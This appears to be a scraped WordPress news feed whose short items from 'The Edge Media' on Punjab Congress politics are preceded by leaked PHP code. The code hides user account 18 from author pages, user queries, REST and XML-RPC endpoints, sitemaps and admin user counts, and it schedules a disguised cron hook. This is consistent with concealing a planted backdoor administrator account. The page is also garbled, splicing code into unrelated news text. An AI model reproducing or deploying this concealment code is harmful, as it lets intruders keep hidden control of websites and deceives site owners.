add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post In Punjab Chief Minister’s Truce With Navjot Sidhu, Top Lawyer Is Out appeared first on The Edge Media.
]]>
“The Punjab cabinet has accepted the resignation of Advocate-General APS Deol,” Mr. Channi told reporters this evening, with Mr. Sidhu sitting by his side. The vacancy will be filled by tomorrow, he added, according to news agency PTI. Mr. Deol’s resignation was accepted just days after the Chief Minister appeared to support his government’s top lawyer.
The post In Punjab Chief Minister’s Truce With Navjot Sidhu, Top Lawyer Is Out appeared first on The Edge Media.
]]>The post Amarinder Singh Jabs Navjot Sidhu: “Am Old Enough To Be His Father…” appeared first on The Edge Media.
]]>
Mr. Sidhu, with whom Amarinder Singh had a long and public rivalry that eventually led to his departure as chief minister in September, was lambasted by Amarinder Singh for “using the filthiest and most vile language against me”.
The post Amarinder Singh Jabs Navjot Sidhu: “Am Old Enough To Be His Father…” appeared first on The Edge Media.
]]>The post Navjot Sidhu tells Amarinder Singh that the last time he founded his own political party, he lost the election with only 856 votes appeared first on The Edge Media.
]]>
In one of his tweets, Sidhu said: “We the 78 MLAs of Congress, could never imagine, what we received and arm-twisted, ED controlled BJP loyal Chief Minister of Punjab…who sold the interest of Punjab to save his skin! You were the negative force stalling Justice & development of Punjab.”
In another tweet, Sidhu said: “You wanted to close doors on me, as I was raising voice of the People, speaking truth to power! Last time you formed your own party, you lost your ballot, garnering only 856 votes…People of Punjab are again waiting to punish you for compromising on the interests of Punjab !!”
The post Navjot Sidhu tells Amarinder Singh that the last time he founded his own political party, he lost the election with only 856 votes appeared first on The Edge Media.
]]>The post Tomorrow, the Congress will march from Punjab to Lakhimpur Kheri in Uttar Pradesh, according to Navjot Sidhu appeared first on The Edge Media.
]]>Punjab Chief Minister Charanjit Singh Channi and Chhattisgarh Chief Minister Bhupesh Baghel have each given a compensation of Rs 50 lakh for the families of four farmers killed in the Lakhimpur incident. Meanwhile, a five-member Congress delegation led by Rahul Gandhi departed Lucknow airport on Wednesday for violence-plagued Lakhimpur Kheri.
The post Tomorrow, the Congress will march from Punjab to Lakhimpur Kheri in Uttar Pradesh, according to Navjot Sidhu appeared first on The Edge Media.
]]>